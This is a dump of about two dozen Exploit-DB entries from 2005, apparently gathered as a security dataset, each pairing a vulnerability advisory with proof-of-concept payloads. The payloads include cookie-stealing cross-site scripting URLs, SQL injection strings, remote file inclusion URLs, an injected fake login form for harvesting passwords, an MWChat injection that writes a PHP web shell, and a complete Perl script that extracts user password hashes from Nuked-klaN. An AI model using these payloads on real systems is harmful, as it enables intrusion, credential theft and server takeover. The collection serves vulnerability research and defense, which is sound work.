QLWD/code_shield huggingface dataset:
标题: Flyspray 0.9 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26400 CVE: 2005-3334 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15209/info

Flyspray is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?PHPSESSID=270ca5a0f7c1e5b2fd4c
52b34cdfe546&tasks=&project=1&string=lala&type=&sev=&due=
&dev=&cat=&status=&perpage=20

http://www.example.com/index.php?tasks=all%22%3E%3Cscript
%3Ealert%28%29%3C%2Fscript%3E&project=0

http://www.example.com/index.php?order=sev&project=1&tasks=&type=
&sev=&dev=&cat=&status=&due=&string=&perpage=20&pagenum=0&
sort=desc&order2=&sort2=desc URL: https://www.exploit-db.com/exploits/26400
标题: saPHP Lesson - 'add.php?forumid' SQL Injection EDB-ID: 26390 CVE: 2005-3363 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15185/info

saphp Lesson is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/dros/add.php?forumid=|almaster URL: https://www.exploit-db.com/exploits/26390
标题: phpMyAdmin 2.x - 'server_databases.php' Cross-Site Scripting EDB-ID: 26393 CVE: 2005-3301 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15196/info
 
phpMyAdmin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example/com/server_databases.php?lang=en-iso-8859-1&server=1&sort_by=db_name&sort_order="><script>alert(document.cookie)</script>
http://www.example/com/server_databases.php?lang=en-iso-8859-1&server=1&sort_by="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26393
标题: Basic Analysis and Security Engine (BASE) 1.2 - 'Base_qry_main.php' SQL Injection EDB-ID: 26395 CVE: 2005-3325 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/15199/info

Basic Analysis And Security Engine is prone to an SQL injection vulnerability.
This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/base/base_qry_main.php?new=1&sig[0]=%3D&sig[1]=[SQL]&submit=Query+DB URL: https://www.exploit-db.com/exploits/26395
标题: phpMyAdmin 2.x - 'queryframe.php' Cross-Site Scripting EDB-ID: 26392 CVE: 2005-3301 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15196/info

phpMyAdmin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example/com/queryframe.php?lang=en-iso-8859-1&server=1&hash="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26392
标题: Nuked-klaN 1.7 Links Module - 'link_id' SQL Injection EDB-ID: 26389 CVE: 2005-3305 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15181/info
   
Nuked Klan is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

#!/usr/bin/perl
use LWP::Simple;

if (@ARGV != 2)
{
print "\n Nuked klan 1.7: Remote Exploit\n";
print "---------------------------------------------\n\n";
print " Coded By Papipsycho for G00t R0t ?       \n Contact: papipsycho@hotmail.com\n\n";
print "[!] usage: perl $0 [host] [user]\n";
print "[?] exam: perl $0 http://127.0.0.1/nk/ papipsycho\n\n";
print "Result:\n";
print "[+]user: papipsycho\n";
print "[+]pass(md5): 05632060d4357d8927n28df514a1fb27\n";
print "[+]id: sliN4piN4t6r4tirlX6b\n\n";
print "---------------------------------------------\n\n";
exit ();
}

$adr = $ARGV[0]; # http://127.0.0.1/nk/
$user = $ARGV[1]; # user

$phase1 = "index.php?file=Links&op=description&link_id=1' UNION SELECT id, pass, pseudo, id, pass ,mail, niveau, count FROM `nuked_users` where pseudo =
'";
$phase2 = "' ORDER BY id DESC /*";
$url = $adr.$phase1.$user.$phase2;
$content = get($url);
print "[+]user: $user\n";
print "[+]pass(md5): ";
print $content =~ /(\w{32})/;
print "\n[+]id: ";
print $content =~ /(\w{20})/; URL: https://www.exploit-db.com/exploits/26389
标题: RSA ACE Agent 5.x - Image Cross-Site Scripting EDB-ID: 26398 CVE: 2005-3329 类型: WEBAPPS 平台: CGI 发布日期: 2005-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15206/info

RSA ACE Agent is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/webauthentication?GetPic?image=x%3Cimg%20src=%22A%22+onError=%22javascript:alert('Thanks%20for%20turning%20on%20the%20remotecontrol')%3b%22%3Exxx URL: https://www.exploit-db.com/exploits/26398
标题: SiteTurn Domain Manager Pro - Admin Panel Cross-Site Scripting EDB-ID: 26391 CVE: 2005-3320 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15186/info

Domain Manager Pro is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admin/panel?err=Please Login Again<br><font color="black"><form method="POST" action=[Your Page That Saves Data]>Username: <input name="user"><br>Password: <input name="pass"> <br><input type="Submit" name="subit" value="Login"><noscript> URL: https://www.exploit-db.com/exploits/26391
标题: IPBProArcade 2.5.2 - 'GameID' SQL Injection EDB-ID: 26397 CVE: 2005-4702 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15205/info

A remote SQL injection vulnerability reportedly affects ipbProArcade.

The problem affects the 'gameid' parameter.

An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information. 

http://www.example.com/forums/index.php?act=Arcade&module=favorites&gameid=|aLMaSTeR URL: https://www.exploit-db.com/exploits/26397
标题: MWChat 6.8 - 'chat.php' SQL Injection EDB-ID: 26394 CVE: 2005-3324 类型: WEBAPPS 平台: PHP 发布日期: 2005-05-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/15198/info

MWChat is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/mwchat/chat.php?Username='UNION%20SELECT%200,0,0,0,'<?system($_GET[cmd]);?>',0,0,0%20INTO%20OUTFILE%20'../../www/mwchat/shell.php'%20FROM%20chat_text/*&Sequence_Check=&Lang=en&Resolution=1280&Room=prova URL: https://www.exploit-db.com/exploits/26394
标题: Nuked-klaN 1.7 Forum Module - Multiple SQL Injections EDB-ID: 26386 CVE: 2005-3305 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15181/info

Nuked Klan is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?file=Forum&page=viewtopic&forum_id=[FORUM_ID]' OR id LIKE '%%' /*&thread_id=[THREAD_ID]' AND auteur_id LIKE '%%' /*
http://www.example.com/index.php?file=Forum&page=viewtopic&forum_id=1' OR id LIKE '%%'&thread_id=1' AND auteur_id LIKE '%%' /* URL: https://www.exploit-db.com/exploits/26386
标题: Nuked-klaN 1.7 Download Module - 'dl_id' SQL Injection EDB-ID: 26388 CVE: 2005-3305 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15181/info
  
Nuked Klan is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/nk/index.php?file=Download&op=description&dl_id='[SQL] URL: https://www.exploit-db.com/exploits/26388
标题: Chipmunk Directory - 'recommend.php?entryID' Cross-Site Scripting EDB-ID: 26381 CVE: 2005-3516 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15149/info
   
Chipmunk products are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/directory/recommend.php?entryID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E URL: https://www.exploit-db.com/exploits/26381
标题: Nuked-klaN 1.7 Sections Module - 'artid' SQL Injection EDB-ID: 26387 CVE: 2005-3305 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15181/info
 
Nuked Klan is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/nk/index.php?file=Sections&op=article&artid='[SQL] URL: https://www.exploit-db.com/exploits/26387
标题: Xerver 4.17 - Single Dot File Request Source Disclosure EDB-ID: 26374 CVE: 2005-3293 类型: REMOTE 平台: WINDOWS 发布日期: 2005-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15135/info

Xerver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit a vulnerability to disclose the contents of any Web accessible script. Information obtained may aid in further attacks.

An attacker can retrieve a directory listing of any Web accessible folders. Information obtained may aid in further attacks.

An attacker can perform cross-site scripting attacks. This may be leveraged to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/Test.pl. ( '.' )
http://www.example.com/Test.php%2e ( '%2e' ) URL: https://www.exploit-db.com/exploits/26374
标题: Chipmunk Forum - 'quote.php?forumID' Cross-Site Scripting EDB-ID: 26379 CVE: 2005-3514 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15149/info
 
Chipmunk products are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/board/quote.php?forumID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E URL: https://www.exploit-db.com/exploits/26379
标题: Chipmunk Forum - 'recommend.php?ID' Cross-Site Scripting EDB-ID: 26380 CVE: 2005-3515 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15149/info
  
Chipmunk products are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/topsites/recommend.php?ID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E URL: https://www.exploit-db.com/exploits/26380
标题: FlatNuke 2.5.x - 'index.php' Multiple Remote File Inclusions EDB-ID: 26384 CVE: 2005-3307 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/15172/info

FlatNuke is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

It should be noted that a malicious user must have an account and be logged into the application to exploit these vulnerabilities. 

http://www.example.com/flatnuke/forum/index.php?op=profile&user=[abducter]
http://www.example.com/flatnuke/forum/index.php?op=topic&quale=[abducter]
http://www.example.com/flatnuke/forum/index.php?op=newtopic&mode=ris&quale=[abducter]&page=1

http://www.example.com/flatnuke/forum/index.php?op=profile&user=%3Cscript%3Ealert(document.cookie);%3C/script%3E URL: https://www.exploit-db.com/exploits/26384
标题: Xerver 4.17 Server - URI Null Character Cross-Site Scripting EDB-ID: 26376 CVE: 2005-4774 类型: REMOTE 平台: WINDOWS 发布日期: 2005-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15135/info
  
Xerver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit a vulnerability to disclose the contents of any Web accessible script. Information obtained may aid in further attacks.
  
An attacker can retrieve a directory listing of any Web accessible folders. Information obtained may aid in further attacks.
  
An attacker can perform cross-site scripting attacks. This may be leveraged to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/%00/<script>alert('X.S.S')</script> URL: https://www.exploit-db.com/exploits/26376
标题: Xerver 4.17 - Forced Directory Listing EDB-ID: 26375 CVE: 2005-3293 类型: REMOTE 平台: WINDOWS 发布日期: 2005-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/15135/info
 
Xerver is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit a vulnerability to disclose the contents of any Web accessible script. Information obtained may aid in further attacks.
 
An attacker can retrieve a directory listing of any Web accessible folders. Information obtained may aid in further attacks.
 
An attacker can perform cross-site scripting attacks. This may be leveraged to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/%00/ URL: https://www.exploit-db.com/exploits/26375
标题: Zomplog 3.3/3.4 - 'detail.php' HTML Injection EDB-ID: 26383 CVE: 2005-3308 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/15168/info

Zomplog is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Zomplog version 3.4 and earlier are affected by this vulnerability.

put <script>alert('test')</script> in http://localhost/zomplog/detail.php?id=1#comments URL: https://www.exploit-db.com/exploits/26383
标题: Chipmunk Forum - 'newtopic.php?forumID' Cross-Site Scripting EDB-ID: 26378 CVE: 2005-3514 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/15149/info

Chipmunk products are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/board/newtopic.php?forumID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E URL: https://www.exploit-db.com/exploits/26378
标题: MySource 2.14 - 'Span.php?PEAR_PATH' Remote File Inclusion EDB-ID: 26371 CVE: 2005-3519 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15133/info
      
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Date/Date/Span.php?PEAR_PATH=http://www.example.com/[file]? URL: https://www.exploit-db.com/exploits/26371
标题: MySource 2.14 - 'mimeDecode.php?PEAR_PATH' Remote File Inclusion EDB-ID: 26372 CVE: 2005-3519 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15133/info
       
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
       
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Mail_Mime/mimeDecode.php?PEAR_PATH=http://www.example.com/[file]? URL: https://www.exploit-db.com/exploits/26372
标题: MySource 2.14 - 'edit_table_row_props.php?bgcolor' Cross-Site Scripting EDB-ID: 26359 CVE: 2005-3520 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15132/info
    
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/edit_table_row_props.php?bgcolor=</style>[code] URL: https://www.exploit-db.com/exploits/26359
标题: MySource 2.14 - 'mime.php?PEAR_PATH' Remote File Inclusion EDB-ID: 26373 CVE: 2005-3519 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15133/info
        
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
        
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.
 
http://www.example.com/pear/Mail_Mime/mime.php?PEAR_PATH=http://www.example.com/[file]? URL: https://www.exploit-db.com/exploits/26373
标题: MySource 2.14 - 'mail.php?PEAR_PATH' Remote File Inclusion EDB-ID: 26369 CVE: 2005-3519 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/15133/info
    
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Mail/Mail.php?PEAR_PATH=http://www.example.com/[file]? URL: https://www.exploit-db.com/exploits/26369